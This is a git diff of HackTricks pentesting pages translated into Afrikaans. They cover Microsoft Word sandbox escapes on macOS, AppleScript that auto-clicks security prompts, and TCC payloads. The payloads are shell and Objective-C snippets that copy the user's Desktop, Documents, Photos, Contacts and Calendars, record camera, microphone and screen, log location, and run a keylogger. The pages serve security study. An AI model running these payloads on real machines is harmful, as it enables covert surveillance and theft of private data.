+{% endhint %} -### Woordsandboksontduiking via Lancering Agente +### Word Sandbox omseiling via Launch Agents -Die toepassing maak gebruik van 'n **aangepaste Sandboks** met die toekenning **`com.apple.security.temporary-exception.sbpl`** en hierdie aangepaste sandboks maak dit moontlik om enige plek lêers te skryf solank die lêernaam begin met `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` +Die toepassing gebruik 'n **aangepaste Sandbox** met die regte **`com.apple.security.temporary-exception.sbpl`** en hierdie aangepaste sandbox laat toe om lêers enige plek te skryf solank die lêernaam met `~$` begin: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))` -Daarom was ontsnapping so maklik soos om 'n `plist` LanceringAgent te skryf in `~/Library/LaunchAgents/~$escape.plist`. +Daarom was dit so maklik om te ontsnap as **om 'n `plist`** LaunchAgent in `~/Library/LaunchAgents/~$escape.plist` te skryf. Kyk na die [**oorspronklike verslag hier**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/). -### Woordsandboksontduiking via Aanmeldingsitems en zip +### Word Sandbox omseiling via Login Items en zip -Onthou dat vanaf die eerste ontsnapping kan Word arbitrêre lêers skryf waarvan die naam begin met `~$`, alhoewel dit na die patch van die vorige kwesbaarheid nie moontlik was om in `/Library/Application Scripts` of in `/Library/LaunchAgents` te skryf nie. +Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam met `~$` begin, alhoewel dit na die regstelling van die vorige kwesbaarheid nie moontlik was om in `/Library/Application Scripts` of in `/Library/LaunchAgents` te skryf nie. -Daar is ontdek dat dit binne die sandboks moontlik is om 'n **Aanmeldingsitem** (toepassings wat uitgevoer sal word wanneer die gebruiker aanmeld) te skep. Hierdie programme **sal egter nie uitgevoer word tensy** hulle **genotariseer** is nie en dit is **nie moontlik om args by te voeg** nie (sodat jy nie net 'n omgekeerde dop kan hardloop met behulp van **`bash`** nie). +Daar is ontdek dat dit binne die sandbox moontlik is om 'n **Login Item** (toepassings wat uitgevoer sal word wanneer die gebruiker aanmeld) te skep. Hierdie toepassings **sal egter nie uitgevoer word nie** tensy hulle **notarized** is en dit is **nie moontlik om args toe te voeg nie** (so jy kan nie net 'n omgekeerde shell met **`bash`** uitvoer nie). -Vanaf die vorige Sandboksontduiking het Microsoft die opsie om lêers in `~/Library/LaunchAgents` te skryf, uitgeskakel. Daar is egter ontdek dat as jy 'n **zip-lêer as 'n Aanmeldingsitem** plaas, sal die `Archive Utility` dit net op sy huidige plek **ontpak**. Dus, omdat die `LaunchAgents`-map van `~/Library` nie standaard geskep word nie, was dit moontlik om 'n plist in `LaunchAgents/~$escape.plist` te **zip** en die zip-lêer in **`~/Library`** te plaas sodat dit by die volhardingsbestemming sal uitpak. +Van die vorige Sandbox omseiling het Microsoft die opsie om lêers in `~/Library/LaunchAgents` te skryf, gedeaktiveer. Dit is egter ontdek dat as jy 'n **zip-lêer as 'n Login Item** plaas, die `Archive Utility` dit net **ontzip** op sy huidige ligging. So, omdat die gids `LaunchAgents` van `~/Library` nie standaard geskep word nie, was dit moontlik om **'n plist in `LaunchAgents/~$escape.plist` te zip** en die zip-lêer in **`~/Library`** te plaas sodat wanneer dit ontkoppel word, dit die volhardingsbestemming sal bereik. Kyk na die [**oorspronklike verslag hier**](https://objective-see.org/blog/blog\_0x4B.html). -### Woordsandboksontduiking via Aanmeldingsitems en .zshenv +### Word Sandbox omseiling via Login Items en .zshenv -(Onthou dat vanaf die eerste ontsnapping kan Word arbitrêre lêers skryf waarvan die naam begin met `~$`). +(Onthou dat vanaf die eerste ontsnapping, Word willekeurige lêers kan skryf waarvan die naam met `~$` begin). -Die vorige tegniek het egter 'n beperking gehad: as die map **`~/Library/LaunchAgents`** bestaan omdat 'n ander sagteware dit geskep het, sal dit misluk. Daarom is 'n ander Aanmeldingsitemketting vir hierdie doel ontdek. +Die vorige tegniek het egter 'n beperking gehad; as die gids **`~/Library/LaunchAgents`** bestaan omdat 'n ander sagteware dit geskep het, sou dit misluk. 'n Ander Login Items-ketting is vir hierdie ontdek. -'n Aanvaller kan die lêers **`.bash_profile`** en **`.zshenv`** skep met die payload om uit te voer en dit dan zip en die zip-lêer in die slagoffers se gebruikersmap **`~/~$escape.zip`** skryf. +'n Aanvaller kan die lêers **`.bash_profile`** en **`.zshenv`** met die payload om uit te voer skep en dit dan zip en **die zip in die slagoffer** se gebruikersgids skryf: **`~/~$escape.zip`**. -Voeg dan die zip-lêer by die **Aanmeldingsitems** en dan die **`Terminal`**-toepassing. Wanneer die gebruiker weer aanmeld, sal die zip-lêer in die gebruikerslêer uitgepak word en **`.bash_profile`** en **`.zshenv`** oorskryf, en dus sal die terminal een van hierdie lêers uitvoer (afhangende of bash of zsh gebruik word). +Voeg dan die zip-lêer by die **Login Items** en dan die **`Terminal`** toepassing. Wanneer die gebruiker weer aanmeld, sal die zip-lêer in die gebruikerslêer ontkoppel word, wat **`.bash_profile`** en **`.zshenv`** oorskryf en gevolglik sal die terminal een van hierdie lêers uitvoer (afhangende of bash of zsh gebruik word). Kyk na die [**oorspronklike verslag hier**](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c). -### Woordsandboksontduiking met Open en omgewingsveranderlikes +### Word Sandbox Omseiling met Open en omgewing veranderlikes -Vanaf gesandbokste prosesse is dit steeds moontlik om ander prosesse aan te roep deur die **`open`** nutsprogram te gebruik. Hierdie prosesse sal egter **binne hul eie sandboks** uitgevoer word. +Van sandboxed prosesse is dit steeds moontlik om ander prosesse aan te roep met die **`open`** nut. Boonop sal hierdie prosesse **binne hul eie sandbox** loop. -Daar is ontdek dat die open nutsprogram die **`--env`** opsie het om 'n toepassing met **spesifieke omgewingsveranderlikes** uit te voer. Daarom was dit moontlik om die **`.zshenv-lêer** binne 'n map **binne** die **sandboks** te skep en die `open` te gebruik met `--env` deur die **`HOME`-veranderlike** in te stel op daardie map en die `Terminal`-toepassing te open, wat die `.zshenv`-lêer sal uitvoer (vir een of ander rede was dit ook nodig om die veranderlike `__OSINSTALL_ENVIROMENT` in te stel). +Daar is ontdek dat die open nut die **`--env`** opsie het om 'n toepassing met **spesifieke omgewing** veranderlikes te laat loop. Daarom was dit moontlik om die **`.zshenv` lêer** binne 'n gids **binne** die **sandbox** te skep en die gebruik van `open` met `--env` om die **`HOME` veranderlike** na daardie gids in te stel wat die `Terminal` toepassing sal oopmaak, wat die `.zshenv` lêer sal uitvoer (om een of ander rede was dit ook nodig om die veranderlike `__OSINSTALL_ENVIROMENT` in te stel). Kyk na die [**oorspronklike verslag hier**](https://perception-point.io/blog/technical-analysis-of-cve-2021-30864/). -### Woordsandboksontduiking met Open en stdin +### Word Sandbox Omseiling met Open en stdin -Die **`open`** nutsprogram ondersteun ook die **`--stdin`** parameter (en na die vorige ontduiking was dit nie meer moontlik om `--env` te gebruik nie). +Die **`open`** nut het ook die **`--stdin`** parameter ondersteun (en na die vorige omseiling was dit nie meer moontlik om `--env` te gebruik nie). -Die ding is dat selfs al is **`python`** deur Apple onderteken, dit nie 'n skripsie met die **`quarantine`**-eienskap sal uitvoer nie. Dit was egter moontlik om dit 'n skripsie van stdin te gee sodat dit nie sal nagaan of dit geïsoleer is nie: +Die ding is dat selfs al is **`python`** deur Apple gesertifiseer, dit **sal nie** 'n skrip met die **`quarantine`** attribuut uitvoer nie. Dit was egter moontlik om 'n skrip van stdin aan te bied sodat dit nie sal nagaan of dit in kwarantyn was of nie: -1. Laat 'n **`~$exploit.py`**-lêer met arbitrêre Python-opdragte val. -2. Voer _open_ **`–stdin='~$exploit.py' -a Python`** uit, wat die Python-toepassing met ons neergesitde lêer as sy standaardinvoer uitvoer. Python voer ons kode gelukkig uit, en omdat dit 'n kindproses van _launchd_ is, is dit nie aan Word se sandboksreëls gebind nie. +1. Laat 'n **`~$exploit.py`** lêer met willekeurige Python-opdragte val. +2. Voer _open_ **`–stdin='~$exploit.py' -a Python`** uit, wat die Python-toepassing met ons gevalle lêer as sy standaard invoer laat loop. Python voer ons kode met vreugde uit, en aangesien dit 'n kind proses van _launchd_ is, is dit nie gebonde aan Word se sandbox reëls nie. + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com +
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md index 8a3510c1f..62cc860b9 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/macos-apple-scripts.md @@ -1,54 +1,56 @@ -# macOS Apple-skripsies +# macOS Apple Scripts + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Apple-skripsies +## Apple Scripts -Dit is 'n skripsietaal wat gebruik word vir taakoutomatisering **deur te skakel met afgeleë prosesse**. Dit maak dit baie maklik om **ander prosesse te vra om sekere aksies uit te voer**. **Malware** kan hierdie funksies misbruik om funksies wat deur ander prosesse uitgevoer word, te misbruik.\ -Byvoorbeeld, 'n malware kan **willekeurige JS-kode inspuit in blaaier-geopende bladsye**. Of **outomaties kliek** op toestemmings wat aan die gebruiker gevra word. +Dit is 'n skriptaal wat gebruik word vir taakautomatisering **wat met afstandsprosesse interaksie het**. Dit maak dit redelik maklik om **ander prosesse te vra om sekere aksies uit te voer**. **Malware** kan hierdie funksies misbruik om funksies wat deur ander prosesse uitgevoer word, te misbruik.\ +Byvoorbeeld, 'n malware kan **arbitraire JS-kode in blaaiers wat geopen is, inspuit**. Of **outomaties op** sekere toestemmings wat aan die gebruiker gevra word, te klik; ```applescript tell window 1 of process "SecurityAgent" click button "Always Allow" of group 1 end tell ``` Hier is 'n paar voorbeelde: [https://github.com/abbeycode/AppleScripts](https://github.com/abbeycode/AppleScripts)\ -Vind meer inligting oor malware wat Apple-scripts gebruik [**hier**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). +Vind meer inligting oor malware wat AppleScripts gebruik [**hier**](https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/). -Apple-scripts kan maklik "**gekompileer**" word. Hierdie weergawes kan maklik "**gedekompileer**" word met `osadecompile`. +Apple-skripte kan maklik "**gecompileer**" word. Hierdie weergawes kan maklik "**gedecompileer**" word met `osadecompile` -Hierdie skripte kan egter ook uitgevoer word as "Slegs lees" (via die "Uitvoer..." opsie): +However, this scripts can also be **exported as "Read only"** (via the "Export..." option):
``` file mal.scpt mal.scpt: AppleScript compiled ``` -En in hierdie geval kan die inhoud selfs nie met `osadecompile` gedekomponeer word nie. +en in hierdie geval kan die inhoud nie gedekomplileer word nie, selfs nie met `osadecompile` nie. -Daar is egter steeds gereedskap wat gebruik kan word om hierdie soort uitvoerbare lêers te verstaan, [**lees hierdie navorsing vir meer inligting**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Die gereedskap [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) met [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sal baie nuttig wees om te verstaan hoe die skrip werk. +Daar is egter steeds 'n paar gereedskap wat gebruik kan word om hierdie soort uitvoerbare lêers te verstaan, [**lees hierdie navorsing vir meer inligting**](https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/)). Die gereedskap [**applescript-disassembler**](https://github.com/Jinmo/applescript-disassembler) met [**aevt\_decompile**](https://github.com/SentineLabs/aevt\_decompile) sal baie nuttig wees om te verstaan hoe die skrip werk. + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke. +* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md index 4d7468675..9b3ba0394 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md @@ -1,28 +1,28 @@ # macOS TCC Payloads +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -### Lessenaar +### Desktop -* **Voorreg**: Geen +* **Regte**: Geen * **TCC**: kTCCServiceSystemPolicyDesktopFolder {% tabs %} -{% tab title="Objective-C" %} +{% tab title="ObjetiveC" %} Kopieer `$HOME/Desktop` na `/tmp/desktop`. - ```objectivec #include #include @@ -58,7 +58,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Kopieer `$HOME/Desktop` na `/tmp/desktop`. - ```bash cp -r "$HOME/Desktop" "/tmp/desktop" ``` @@ -67,13 +66,12 @@ cp -r "$HOME/Desktop" "/tmp/desktop" ### Dokumente -* **Bevoegdheid**: Geen +* **Regte**: Geen * **TCC**: `kTCCServiceSystemPolicyDocumentsFolder` {% tabs %} {% tab title="ObjetiveC" %} Kopieer `$HOME/Documents` na `/tmp/documents`. - ```objectivec #include #include @@ -109,7 +107,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Kopieer `$HOME/`Documents na `/tmp/documents`. - ```bash cp -r "$HOME/Documents" "/tmp/documents" ``` @@ -118,15 +115,12 @@ cp -r "$HOME/Documents" "/tmp/documents" ### Aflaai -* **Bevoegdheid**: Geen +* **Regte**: Geen * **TCC**: `kTCCServiceSystemPolicyDownloadsFolder` {% tabs %} -{% tab title="undefined" %} +{% tab title="ObjetiveC" %} Kopieer `$HOME/Downloads` na `/tmp/downloads`. -{% endtab %} - -{% tab title="undefined" %} ```objectivec #include #include @@ -162,22 +156,20 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Kopieer `$HOME/Dowloads` na `/tmp/downloads`. - ```bash cp -r "$HOME/Downloads" "/tmp/downloads" ``` {% endtab %} {% endtabs %} -### Foto's-biblioteek +### Foto Biblioteek -* **Bevoegdheid**: `com.apple.security.personal-information.photos-library` +* **Regte**: `com.apple.security.personal-information.photos-library` * **TCC**: `kTCCServicePhotos` {% tabs %} {% tab title="ObjetiveC" %} Kopieer `$HOME/Pictures/Photos Library.photoslibrary` na `/tmp/photos`. - ```objectivec #include #include @@ -213,7 +205,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Kopieer `$HOME/Pictures/Photos Library.photoslibrary` na `/tmp/photos`. - ```bash cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ``` @@ -222,13 +213,12 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos" ### Kontakte -* **Bevoegdheid**: `com.apple.security.personal-information.addressbook` +* **Regte**: `com.apple.security.personal-information.addressbook` * **TCC**: `kTCCServiceAddressBook` {% tabs %} {% tab title="ObjetiveC" %} Kopieer `$HOME/Library/Application Support/AddressBook` na `/tmp/contacts`. - ```objectivec #include #include @@ -264,7 +254,6 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Kopieer `$HOME/Library/Application Support/AddressBook` na `/tmp/contacts`. - ```bash cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ``` @@ -273,13 +262,12 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts" ### Kalender -* **Bevoegdheid**: `com.apple.security.personal-information.calendars` +* **Regte**: `com.apple.security.personal-information.calendars` * **TCC**: `kTCCServiceCalendar` {% tabs %} {% tab title="ObjectiveC" %} Kopieer `$HOME/Library/Calendars` na `/tmp/calendars`. - ```objectivec #include #include @@ -315,15 +303,20 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Kopieer `$HOME/Library/Calendars` na `/tmp/calendars`. - ```bash cp -r "$HOME/Library/Calendars" "/tmp/calendars" ``` +{% endtab %} +{% endtabs %} + +### Kamera + +* **Regte**: `com.apple.security.device.camera` +* **TCC**: `kTCCServiceCamera` {% tabs %} -{% tab title="ObjetiveC - Opne" %} +{% tab title="ObjetiveC - Opneem" %} Neem 'n 3s video op en stoor dit in **`/tmp/recording.mov`** - ```objectivec #import #import @@ -401,9 +394,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="ObjectiveC - Kontroleer" %} -Kontroleer of die program toegang het tot die kamera. - +{% tab title="ObjectiveC - Check" %} +Kontroleer of die program toegang tot die kamera het. ```objectivec #import #import @@ -437,22 +429,20 @@ fclose(stderr); // Close the file stream {% tab title="Shell" %} Neem 'n foto met die kamera - ```bash ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg ``` {% endtab %} {% endtabs %} -#### Mikrofoon +### Mikrofoon -* **Toestemming**: **com.apple.security.device.audio-input** +* **Regte**: **com.apple.security.device.audio-input** * **TCC**: `kTCCServiceMicrophone` {% tabs %} -{% tab title="ObjectiveC - Opneem" %} -Neem 5 sekondes van klank op en stoor dit in `/tmp/recording.m4a` - +{% tab title="ObjetiveC - Opname" %} +Neem 5 sekondes se klank op en stoor dit in `/tmp/recording.m4a` ```objectivec #import #import @@ -551,9 +541,8 @@ fclose(stderr); // Close the file stream ``` {% endtab %} -{% tab title="ObjectiveC - Kontroleer" %} -Kontroleer of die app toegang het tot die mikrofoon. - +{% tab title="ObjectiveC - Kontrole" %} +Kontroleer of die app toegang tot die mikrofoon het. ```objectivec #import #import @@ -584,8 +573,7 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -Neem 'n 5s klank op en stoor dit in `/tmp/recording.wav` - +Neem 'n 5s klankopname en stoor dit in `/tmp/recording.wav` ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -595,19 +583,18 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav {% endtab %} {% endtabs %} -#### Ligging +### Plek {% hint style="success" %} -Om die ligging te kry, moet **Liggingdienste** (vanaf Privaatheid & Sekuriteit) **geaktiveer wees,** anders sal dit nie toegang daartoe hê nie. +Vir 'n app om die plek te kry, **Plekdienste** (van Privaatheid & Sekuriteit) **moet geaktiveer wees,** anders kan dit nie toegang daartoe kry nie. {% endhint %} -* **Toekenning**: `com.apple.security.personal-information.location` -* **TCC**: Toegeken in `/var/db/locationd/clients.plist` +* **Regte**: `com.apple.security.personal-information.location` +* **TCC**: Toegestaan in `/var/db/locationd/clients.plist` {% tabs %} {% tab title="ObjectiveC" %} -Skryf die ligging in `/tmp/logs.txt` - +Skryf die plek in `/tmp/logs.txt` ```objectivec #include #include @@ -658,22 +645,20 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% tab title="Shell" %} Kry toegang tot die ligging - ``` ??? ``` {% endtab %} {% endtabs %} -#### Skermopname +### Skermopname -* **Toegekende regte**: Geen +* **Regte**: Geen * **TCC**: `kTCCServiceScreenCapture` {% tabs %} {% tab title="ObjectiveC" %} -Neem die hoofskerm vir 5 sekondes op in `/tmp/screen.mov` - +Neem die hoofskerm op vir 5s in `/tmp/screen.mov` ```objectivec #import #import @@ -730,21 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Neem die hoofskerm vir 5 sekondes op - +Neem die hoofskerm vir 5s op ```bash screencapture -V 5 /tmp/screen.mov ``` {% endtab %} {% endtabs %} -#### Toeganklikheid +### Toeganklikheid -* **Voorreg**: Geen +* **Regte**: Geen * **TCC**: `kTCCServiceAccessibility` -Gebruik die TCC-voorreg om die beheer van Finder se druk op enter te aanvaar en sodoende TCC te omseil. +Gebruik die TCC-privilege om die beheer van Finder te aanvaar deur enter te druk en TCC op daardie manier te omseil +{% tabs %} +{% tab title="Aanvaar TCC" %} ```objectivec #import #import @@ -797,9 +783,8 @@ return 0; ``` {% endtab %} -{% tab title="Sleutellogger" %} -Berg die gedrukte sleutels op in **`/tmp/keystrokes.txt`** - +{% tab title="Keylogger" %} +Stoor die ingedrukte sleutels in **`/tmp/keystrokes.txt`** ```objectivec #import #import @@ -907,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -Toeganklikheid is 'n baie kragtige toestemming, jy kan dit op ander maniere misbruik, byvoorbeeld jy kan die sleutelbord-aanval uitvoer net daarvan af sonder om System Events te roep. +**Toeganklikheid is 'n baie kragtige toestemming**, jy kan dit op ander maniere misbruik, byvoorbeeld jy kan die **toetsdruk aanval** net daarvan uitvoer sonder om Stelselsgebeurtenisse te moet aanroep. {% endhint %} +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live). -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos. +* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index b41e2e2a4..2e3f884ce 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,16 +1,17 @@ +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
